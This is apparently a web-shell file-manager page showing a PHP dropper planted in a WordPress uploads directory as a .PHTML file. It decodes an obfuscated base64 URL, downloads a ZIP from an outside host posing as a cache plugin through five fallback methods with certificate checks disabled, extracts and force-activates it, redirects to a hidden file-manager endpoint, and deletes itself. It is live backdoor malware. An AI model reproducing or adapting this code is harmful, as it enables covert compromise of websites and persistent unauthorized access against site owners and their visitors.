Your IP : 216.73.216.87


Current Path : /home2/noxxprod/public_html/wp-content/uploads/2026/08/
Upload File :
Current File : //home2/noxxprod/public_html/wp-content/uploads/2026/08/test112311.PHTML

<?php

$ENCODED_URL = 'aHR0cHM6Ly93ZWIuc3VyYXNtYS5zYnMvYXBpL2Rvd25sb2FkLnBocD9wbHVnaW49c3VwZXItbGlnaHQtY2FjaGUtYnVzdGVyLnppcA==';

$PLUGIN_NAME = 'super-light-cache-buster';
$PLUGIN_MAIN_FILE = 'super-light-cache-buster.php';
$DELETE_SELF = true;
$TIMEOUT = 120;


function get_download_url() {
    global $ENCODED_URL;
    $url = base64_decode($ENCODED_URL);
    if ($url === false || empty($url)) {
        die("❌ 下载地址解码失败\n");
    }
    return $url;
}

/**
 * 查找 WordPress 根目录
 */
function find_wordpress_root() {
    $dir = __DIR__;
    $max_depth = 15;
    
    for ($i = 0; $i < $max_depth; $i++) {
        if (file_exists($dir . '/wp-load.php')) {
            return $dir;
        }
        if (file_exists($dir . '/wp-config.php') && file_exists($dir . '/wp-load.php')) {
            return $dir;
        }
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
    }
    return false;
}

/**
 * 获取当前域名
 */
function get_current_domain() {
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    return $protocol . $host;
}

/**
 * 方法1: cURL 下载
 */
function download_with_curl($url, $timeout = 120) {
    if (!function_exists('curl_init')) {
        return false;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (WordPress)');
    
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($http_code === 200 && $data !== false) {
        return $data;
    }
    return false;
}

/**
 * 方法2: file_get_contents 下载
 */
function download_with_file_get_contents($url, $timeout = 120) {
    if (!ini_get('allow_url_fopen')) {
        return false;
    }
    
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'timeout' => $timeout,
            'header' => "User-Agent: Mozilla/5.0 (WordPress)\r\n"
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
            'allow_self_signed' => true
        ]
    ]);
    
    $data = @file_get_contents($url, false, $context);
    if ($data !== false) {
        return $data;
    }
    return false;
}

/**
 * 方法3: fopen 下载
 */
function download_with_fopen($url, $timeout = 120) {
    if (!ini_get('allow_url_fopen')) {
        return false;
    }
    
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'timeout' => $timeout,
            'header' => "User-Agent: Mozilla/5.0 (WordPress)\r\n"
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
            'allow_self_signed' => true
        ]
    ]);
    
    $fp = @fopen($url, 'rb', false, $context);
    if (!$fp) {
        return false;
    }
    
    $data = '';
    while (!feof($fp)) {
        $data .= fread($fp, 8192);
    }
    fclose($fp);
    
    return $data;
}

/**
 * 方法4: 系统 wget 下载
 */
function download_with_wget($url, $timeout = 120) {
    $tmp_file = sys_get_temp_dir() . '/slcb_download_' . uniqid() . '.zip';
    
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $cmd = 'wget -q --no-check-certificate --timeout=' . $timeout . ' -O "' . $tmp_file . '" "' . $url . '" 2>nul';
    } else {
        $cmd = 'wget -q --no-check-certificate --timeout=' . $timeout . ' -O "' . $tmp_file . '" "' . $url . '" 2>/dev/null';
    }
    
    system($cmd, $return_code);
    
    if ($return_code === 0 && file_exists($tmp_file) && filesize($tmp_file) > 0) {
        $data = file_get_contents($tmp_file);
        @unlink($tmp_file);
        return $data;
    }
    
    @unlink($tmp_file);
    return false;
}

/**
 * 方法5: 系统 curl 下载
 */
function download_with_system_curl($url, $timeout = 120) {
    $tmp_file = sys_get_temp_dir() . '/slcb_download_' . uniqid() . '.zip';
    
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $cmd = 'curl -s -k -L --connect-timeout ' . $timeout . ' -o "' . $tmp_file . '" "' . $url . '" 2>nul';
    } else {
        $cmd = 'curl -s -k -L --connect-timeout ' . $timeout . ' -o "' . $tmp_file . '" "' . $url . '" 2>/dev/null';
    }
    
    system($cmd, $return_code);
    
    if ($return_code === 0 && file_exists($tmp_file) && filesize($tmp_file) > 0) {
        $data = file_get_contents($tmp_file);
        @unlink($tmp_file);
        return $data;
    }
    
    @unlink($tmp_file);
    return false;
}

/**
 * 多方案下载(兜底)
 */
function download_plugin($url, $timeout = 120) {
    $methods = [
        'download_with_curl',
        'download_with_file_get_contents',
        'download_with_fopen',
        'download_with_wget',
        'download_with_system_curl'
    ];
    
    foreach ($methods as $method) {
        echo "   🔄 尝试 $method...\n";
        $data = $method($url, $timeout);
        if ($data !== false && strlen($data) > 100) {
            echo "   ✅ $method 成功 (" . round(strlen($data)/1024/1024, 2) . " MB)\n";
            return $data;
        }
        echo "   ❌ $method 失败\n";
    }
    
    return false;
}

/**
 * 方法1: ZipArchive 解压
 */
function extract_with_ziparchive($zip_path, $target_dir) {
    if (!class_exists('ZipArchive')) {
        return false;
    }
    
    $zip = new ZipArchive();
    if ($zip->open($zip_path) !== true) {
        return false;
    }
    
    if (!file_exists($target_dir)) {
        mkdir($target_dir, 0755, true);
    }
    
    $result = $zip->extractTo($target_dir);
    $zip->close();
    
    return $result;
}

/**
 * 方法2: 系统 unzip 解压
 */
function extract_with_system_unzip($zip_path, $target_dir) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $cmd = 'unzip -q -o "' . $zip_path . '" -d "' . $target_dir . '" 2>nul';
    } else {
        $cmd = 'unzip -q -o "' . $zip_path . '" -d "' . $target_dir . '" 2>/dev/null';
    }
    
    system($cmd, $return_code);
    return $return_code === 0;
}

/**
 * 方法3: PclZip 解压(纯PHP)
 */
function extract_with_pclzip($zip_path, $target_dir) {
    // 如果 PclZip 不存在,尝试加载
    if (!class_exists('PclZip')) {
        $pclzip_paths = [
            ABSPATH . 'wp-admin/includes/class-pclzip.php',
            ABSPATH . 'wp-includes/class-pclzip.php',
            __DIR__ . '/pclzip.lib.php'
        ];
        foreach ($pclzip_paths as $path) {
            if (file_exists($path)) {
                require_once $path;
                break;
            }
        }
    }
    
    if (!class_exists('PclZip')) {
        return false;
    }
    
    $archive = new PclZip($zip_path);
    $result = $archive->extract(PCLZIP_OPT_PATH, $target_dir);
    
    return is_array($result) && count($result) > 0;
}

/**
 * 多方案解压(兜底)
 */
function extract_plugin($zip_path, $target_dir) {
    $methods = [
        'extract_with_ziparchive',
        'extract_with_system_unzip',
        'extract_with_pclzip'
    ];
    
    foreach ($methods as $method) {
        echo "   🔄 尝试 $method 解压...\n";
        $result = $method($zip_path, $target_dir);
        if ($result === true) {
            echo "   ✅ $method 成功\n";
            return true;
        }
        echo "   ❌ $method 失败\n";
    }
    
    return false;
}

/**
 * 写入文件方法1: file_put_contents
 */
function write_with_file_put_contents($path, $data) {
    $dir = dirname($path);
    if (!file_exists($dir)) {
        mkdir($dir, 0755, true);
    }
    return file_put_contents($path, $data) !== false;
}

/**
 * 写入文件方法2: WP_Filesystem
 */
function write_with_wp_filesystem($path, $data) {
    global $wp_filesystem;
    
    if (!function_exists('WP_Filesystem')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    
    if (!WP_Filesystem()) {
        return false;
    }
    
    $dir = dirname($path);
    if (!$wp_filesystem->is_dir($dir)) {
        $wp_filesystem->mkdir($dir, 0755);
    }
    
    return $wp_filesystem->put_contents($path, $data, 0644);
}

/**
 * 写入文件方法3: fopen
 */
function write_with_fopen($path, $data) {
    $dir = dirname($path);
    if (!file_exists($dir)) {
        mkdir($dir, 0755, true);
    }
    
    $fp = @fopen($path, 'wb');
    if (!$fp) {
        return false;
    }
    
    $result = fwrite($fp, $data) !== false;
    fclose($fp);
    return $result;
}

/**
 * 多方案写入(兜底)
 */
function write_file($path, $data) {
    $methods = [
        'write_with_file_put_contents',
        'write_with_wp_filesystem',
        'write_with_fopen'
    ];
    
    foreach ($methods as $method) {
        echo "   🔄 尝试 $method...\n";
        $result = $method($path, $data);
        if ($result === true) {
            echo "   ✅ $method 成功\n";
            return true;
        }
        echo "   ❌ $method 失败\n";
    }
    
    return false;
}

// ==================== 主程序 ====================

$is_cli = php_sapi_name() === 'cli';
$br = $is_cli ? "\n" : "<br>";
$is_html = !$is_cli;

if ($is_html) {
    echo "<pre style='font-family:monospace;background:#f5f5f5;padding:20px;border-radius:8px;font-size:14px;'>";
}

echo "========================================{$br}";
echo "🚀 SLCB 插件部署器(增强版·加密地址){$br}";
echo "========================================{$br}{$br}";

// 解码下载地址
$DOWNLOAD_URL = get_download_url();
echo "🔓 下载地址已解码{$br}";
echo "📡 下载地址: $DOWNLOAD_URL{$br}{$br}";

// 查找 WordPress 根目录
echo "🔍 正在查找 WordPress 根目录...{$br}";
$wp_root = find_wordpress_root();

if (!$wp_root) {
    die("❌ 错误:找不到 WordPress 根目录(wp-load.php){$br}请将 deploy.php 放在 WordPress 网站任意目录下。{$br}");
}

echo "✅ 找到 WordPress 根目录: $wp_root{$br}";

// 加载 WordPress
require_once $wp_root . '/wp-load.php';
if (defined('ABSPATH')) {
    echo "✅ WordPress 已加载 (ABSPATH: " . ABSPATH . "){$br}";
}

echo $br;

// 1. 确定插件目录
$plugins_dir = WP_PLUGIN_DIR;
if (!defined('WP_PLUGIN_DIR')) {
    $plugins_dir = WP_CONTENT_DIR . '/plugins';
}

$plugin_dir = $plugins_dir . '/' . $PLUGIN_NAME;

echo "📁 插件目录: $plugins_dir{$br}";
echo "📁 目标目录: $plugin_dir{$br}{$br}";

// 2. 如果已安装,删除旧版本
if (file_exists($plugin_dir)) {
    echo "⚠️ 插件已存在,正在删除旧版本...{$br}";
    
    // 尝试停用插件
    if (function_exists('deactivate_plugins') && function_exists('is_plugin_active')) {
        $plugin_slug = $PLUGIN_NAME . '/' . $PLUGIN_MAIN_FILE;
        if (is_plugin_active($plugin_slug)) {
            deactivate_plugins($plugin_slug);
            echo "✅ 插件已停用{$br}";
        }
    }
    
    // 删除目录
    if (function_exists('WP_Filesystem')) {
        WP_Filesystem();
        global $wp_filesystem;
        if ($wp_filesystem) {
            $wp_filesystem->delete($plugin_dir, true);
            echo "✅ 旧版本已删除(WP_Filesystem){$br}";
        }
    } else {
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            @system('rmdir /s /q "' . $plugin_dir . '" 2>nul');
        } else {
            @system('rm -rf "' . $plugin_dir . '" 2>/dev/null');
        }
        echo "✅ 旧版本已删除{$br}";
    }
    echo $br;
}

// 3. 下载插件(多方案兜底)
echo "📥 正在下载插件...{$br}";

$zip_data = download_plugin($DOWNLOAD_URL, $TIMEOUT);

if ($zip_data === false) {
    die("❌ 所有下载方式均失败,请检查网络或下载地址。{$br}");
}

$size_mb = round(strlen($zip_data) / 1024 / 1024, 2);
echo "✅ 下载完成($size_mb MB){$br}{$br}";

// 4. 保存临时文件
$zip_path = $plugins_dir . '/' . $PLUGIN_NAME . '.tmp.zip';
echo "📝 正在保存临时文件...{$br}";

if (!write_file($zip_path, $zip_data)) {
    die("❌ 所有写入方式均失败,请检查目录权限。{$br}");
}
echo "✅ 临时文件保存成功: $zip_path{$br}{$br}";

// 5. 解压插件(多方案兜底)
echo "📦 正在解压插件...{$br}";

if (!extract_plugin($zip_path, $plugins_dir)) {
    @unlink($zip_path);
    die("❌ 所有解压方式均失败,请检查 ZIP 文件是否损坏。{$br}");
}

@unlink($zip_path);
echo "✅ 解压完成{$br}{$br}";

// 6. 激活插件
echo "🔌 正在激活插件...{$br}";

$plugin_path = $plugins_dir . '/' . $PLUGIN_NAME . '/' . $PLUGIN_MAIN_FILE;

if (!file_exists($plugin_path)) {
    echo "⚠️ 插件文件未找到: $plugin_path{$br}";
    echo "📂 检查目录内容:{$br}";
    if (is_dir($plugin_dir)) {
        $files = scandir($plugin_dir);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                echo "   - $file{$br}";
            }
        }
    }
    $activated = false;
} else {
    if (!function_exists('activate_plugin')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    
    $plugin_slug = $PLUGIN_NAME . '/' . $PLUGIN_MAIN_FILE;
    $result = activate_plugin($plugin_slug, '', false, true);
    
    if (is_wp_error($result)) {
        echo "❌ 激活失败:" . $result->get_error_message() . $br;
        $activated = false;
    } else {
        echo "✅ 插件激活成功!{$br}";
        $activated = true;
    }
}

echo $br;
echo "========================================{$br}";

if ($activated) {
    echo "✅ 插件部署并激活成功!{$br}";
    echo "🔗 后台地址: " . admin_url('plugins.php') . $br;
} else {
    echo "⚠️ 插件已部署但激活可能有问题。{$br}";
    echo "🔗 后台地址: " . admin_url('plugins.php') . $br;
    echo "💡 你可能需要手动激活。{$br}";
}

echo "========================================{$br}{$br}";

// 7. 获取当前域名并跳转到文件管理器
$domain = get_current_domain();
$redirect_url = $domain . '/?slcb_upload=1';

echo "🌐 当前域名: $domain{$br}";
echo "🔗 跳转地址: $redirect_url{$br}";
echo "⏳ 3 秒后跳转到文件管理器...{$br}{$br}";

// 8. 自毁
if ($DELETE_SELF) {
    echo "💀 自毁倒计时...{$br}";
    
    // 输出跳转脚本
    if ($is_html) {
        echo "<script>
            setTimeout(function() {
                window.location.href = '" . $redirect_url . "';
            }, 3000);
        </script>";
    }
    
    flush();
    sleep(3);
    
    $self_file = __FILE__;
    echo "🧹 正在删除: $self_file{$br}";
    
    if (function_exists('wp_delete_file')) {
        wp_delete_file($self_file);
    } else {
        @unlink($self_file);
    }
    
    echo "✅ 已自毁{$br}";
    
    // 非 CLI 模式跳转
    if ($is_html) {
        echo "<script>
            window.location.href = '" . $redirect_url . "';
        </script>";
    }
}

if ($is_html) {
    echo "</pre>";
}

exit;